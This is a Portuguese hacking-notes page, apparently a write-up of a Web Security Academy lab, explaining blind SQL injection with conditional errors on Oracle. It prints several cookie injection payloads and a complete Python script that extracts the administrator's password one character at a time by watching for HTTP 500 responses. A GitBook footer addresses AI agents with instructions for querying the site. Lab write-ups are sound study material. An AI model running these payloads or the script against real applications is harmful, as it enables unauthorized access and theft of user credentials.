> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# Injeção de SQL Cega com Erros Condicionais

### Injeção SQL cega com erros condicionais

**Contexto:** o valor do `TrackingId` cookie é injetado em uma consulta SQL. A aplicação não retorna o resultado diretamente, mas dispara um \*\*erro HTTP 500\*\* quando a expressão SQL causa uma exceção (aqui `TO_CHAR(1/0)` no Oracle). Usamos esta string: se a condição for verdadeira → erro 500, caso contrário resposta 200. A base contém uma `users(username, password)` tabela. Objetivo: Extrair a senha de `administrador` e conectar.

#### Princípio técnico (rápido)

* O cookie contém uma expressão que força um erro se a condição for verdadeira, por exemplo (Oracle):

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* Se `<condition>` é verdadeira → a requisição causa divisão por zero → a aplicação retorna `500` → bit = 1. Caso contrário `200` → bit = 0.
* Use `SUBSTR`/`LENGTH` para extrair caractere por caractere.

#### Exemplos de Payload (Oracle)

* Verifique a existência do usuário:

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Teste de comprimento = 20:

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Teste um caractere na posição i:

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / a estrutura pode ser adaptada de acordo com a solicitação injetada na aplicação.)

### Script automatizado

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# Tratamento limpo de Ctrl+C
def def_handler(sig, frame):
    print("/nInterrompido. Saindo./n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- Configuração ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # parte legítima do TrackingId
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # comprimento máximo a testar
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # ajuste se você souber o alfabeto

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- Funções utilitárias ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] a requisição falhou: {e}")
        return None

def make_error_payload(condition_sql):
    """
    Constrói o TrackingId completo para Oracle:
    ex: TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # Envolve a condição na subconsulta que retorna uma linha para o admin.
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- Etapa 1: detectar o comprimento da senha (opcional, mas útil) ---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] Detectando o comprimento da senha...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] Comprimento detectado: {n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] Nenhum comprimento detectado <= max_len; considere aumentar max_len")
    return None

# --- Etapa 2: extração caractere por caractere ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # fallback: tente posições até falhar
            length = MAX_PW_LEN

    password = ""
    print(f"[*] Extração (comprimento assumido = {length})")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] pos={pos} -> '{ch}' (senha até agora: {password})")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # pausa curta entre as tentativas
            time.sleep(0.01)
        if not found:
            print(f"[-] Nenhum caractere encontrado na posição {pos} -> provável fim. Senha: {password}")
            break
    return password

if __name__ == "__main__":
    # detectar o comprimento e depois extrair
    detected_len = detect_length(max_len=30)   # ajuste max_len de acordo com o ambiente
    recovered = extract_password(length=detected_len)
    print(f"/n[=] Senha recuperada (parcial/estimada): {recovered}/n")
```

<figure><img src="/files/c1de38c158f3b4bba0ffd79ab790f755d060766c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/blind-sql-injection-with-conditional-errors.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
